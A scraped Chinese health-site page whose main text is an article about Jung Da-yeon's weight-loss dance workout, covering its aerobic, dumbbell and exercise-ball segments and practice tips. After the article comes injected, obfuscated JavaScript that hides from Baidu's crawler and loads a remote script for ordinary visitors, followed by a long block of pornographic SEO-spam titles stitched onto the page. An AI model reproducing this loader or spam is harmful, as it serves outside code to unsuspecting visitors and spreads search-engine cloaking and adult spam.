當前位置:首頁 > 減肥 > 運動減肥 > 正文

鄭多燕減肥操有用嗎

2017-03-09 14:06:28  來源:360常識網   熱度:
導語:每一節鄭多燕減肥舞大約是40分鐘,一個60kg體重的人跳一節鄭多燕減肥舞,消耗的熱量就大約是240-300大卡。

鄭多燕從重達70公斤以上的家庭主婦,搖身一變“健康肉體美辣媽”,更被日本網友贊嘆“她是瘦身終結者”、“每天身體都在變化的夢幻體態”、“令人癡迷的體態”等,她儼然成為“瘦身韓流”的代名詞,鄭多燕成為了不少愛美女性的偶像。

鄭多燕的減肥健身舞是在日本學習后自己研發的,一共有4個部分,第一部分是街舞操,主要瘦腿部;第二部分是啞鈴操,主要用來瘦手臂;第三部分是有氧操,是塑形的部分;最后一部分是瑜珈墊操,用來瘦腰腹部。

鄭多燕健身舞的要點:

一:有氧操要點:有氧運動的目的在于增強心肺耐力。在運動時,由于肌肉收縮而需要大量養分和氧氣,心臟的收縮次數便增加,而且每次壓送出的血液量也較平常為多,同時,氧氣的需求量亦增加,呼吸次數比正常為多,肺部的收張程度也較大。所以當運動持續,肌肉長時間收縮,心肺就必須努力地供應氧氣分給肌肉,以及運走肌肉中的廢物。 鄭多燕的這套運動做得很好。能有效的與減肥操結合以達到效果。

二:啞鈴操要點:人們習慣將啞鈴健身等同于健美運動。其實,我們通常所做的啞鈴訓練,無論是啞鈴重量還是訓練方法,都有別于健美運動。手握啞鈴的直臂前舉、側平舉等可以鍛煉肩部和胸部肌肉。此外,啞鈴還可以鍛煉下肢肌肉,如手持啞鈴單腳蹲起、雙腳蹲跳等等。

三:大球操要點:首先坐在球上,收腹挺胸,手輕輕扶在球上,然后抬腿繃腳尖,完全收緊大腿肌肉,往外側伸展。其次:頭和肩放在球上,大臂后側貼住球面,五指分開托住自己的后腰部,向上抬臀。兩只腳與髖關節同寬,全腳掌著地。這個動作既練臀又練小腿。

跳健身減肥舞注意事項:

第一要穿寬松舒服的衣服,這樣才方便做動作。

第二,最少都要跳半個小時到一個小時,運動量不足的話減肥效果就出不來哦。

第三,因為是對著視頻練習,所以動作一定要做到位

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产乱人伦精品一区二区在线观看 | 亚洲国产精品激情在线观看| 亚洲Av永久无码精品三区在线| 久久精品免费电影| 蜜臀91精品国产免费观看| 久久精品视频久久| 亚洲精品97久久中文字幕无码| 国产精品视频白浆合集| 无码国内精品人妻少妇 | 国产成人亚洲精品91专区手机| 国产2021精品视频免费播放| 国产三级精品三级在线专区1| 国产精品久久久久三级| 国产精品xxx电影| 精品无码久久久久久尤物| 国产精品免费一区二区三区| 2020精品国产自在现线看| 亚洲综合国产精品| 久久丫精品国产亚洲av| 亚洲高清国产拍精品26U| 国产产无码乱码精品久久鸭| 久久97精品久久久久久久不卡| 久久国产精品国产自线拍免费| 久久精品无码一区二区三区| 九九精品在线观看| 亚洲av永久无码精品漫画| 骚片AV蜜桃精品一区| 十八18禁国产精品www| 精品视频无码一区二区三区| 久久精品国产久精国产一老狼| 91精品免费国产高清在线| 国产精品一区二区久久精品涩爱| 亚洲AV永久无码精品一福利 | 2021国产精品视频一区| 日韩精品人妻一区二区三区四区| 精品久久精品久久| 免费a级毛片18以上观看精品| 亚洲第一永久AV网站久久精品男人的天堂AV | 亚洲精品女同中文字幕| 蜜臀91精品国产高清在线观看| 国产精品亚洲а∨无码播放不卡 |